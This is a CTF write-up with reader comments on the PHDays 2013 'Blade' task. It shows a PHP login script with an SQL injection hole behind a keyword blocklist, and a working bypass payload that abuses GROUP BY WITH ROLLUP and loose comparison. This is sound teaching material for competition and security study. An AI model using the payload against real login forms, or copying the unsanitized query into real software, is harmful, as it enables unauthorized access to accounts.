PHDays 2013 CTF «Blade» Writeup

We have a simple form with login and password. There is an SQL injection, but a WAF blocks any attempt to bypass it. First step to solve this task was to reveal the contents of the script by requesting index.phps:

include 'flag.php';

if(!isset($_POST['username']) || !isset($_POST['password'])) {
	print <<<FORM
<form method=POST>
<input type=text name=username></input>
<input type=password name=password></input>
<input type=submit></input>

$this_is_baaad = array("union", "select", "from", "where", "join", "sleep", "benchmark", ",", "(", ")");
foreach($this_is_baaad as $srsly) {
	if(stripos($_POST['username'], $srsly) !== false) {
		print "Do not try to trick me!";

$q = mysql_query("SELECT * FROM users WHERE username = '{$_POST['username']}'"); 
if(mysql_num_rows($q) == 1) { 
    $user = mysql_fetch_array($q);
    if($user['password'] == $_POST['password']) {
    	print $flag;
    } else {
    	print "Login failed!";
} else {
	print "Login failed!";

The first thing we see is that the password does not get into the SQL query, so we need to use at least UNION, but it is blocked. Guys from PPP tried time delaying heavy queries that do not rely on sleep() or becnhmark(), however the right way to solve this task is as follows. Firstly, one notices that passwords are compared using == operator, and secondly the GROUP operator is not filtered. In MySQL this operator can be used with some interesting modifier: WITH ROLLUP

The GROUP BY clause permits a WITH ROLLUP modifier that causes extra rows to be added to the summary output.

If you use column password on GROUP BY WITH ROLLUP, you will get an extra empty row. And as NULL and empty string if compared with operator == are equal it is possible to bypass the authorization using the following query:

admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -


  1. c0deMaster, 27. мая 2013, 18:43


  2. d90andrew, 28. мая 2013, 7:30

    запятую то нельзя)

  3. Raz0r, 28. мая 2013, 9:16

    @d90andrew упс, там OFFSET, спасибо)

  4. @an_animal, 28. мая 2013, 12:00

    why does it show the source with ‘s’?
    so singe quote is not filtered ok…..
    i didn’t know about rollup, thanks!
    good job!

  5. Raz0r, 28. мая 2013, 14:33

    Some web servers are configured to display source code if you request the page with .phps. And it has became all-CTF convention: if you want source code, you try .phps :)

  6. @an_animal, 29. мая 2013, 12:13

    haha, funny, didn’t know that, i haven’t been to any CTF yet:)


Write a comment: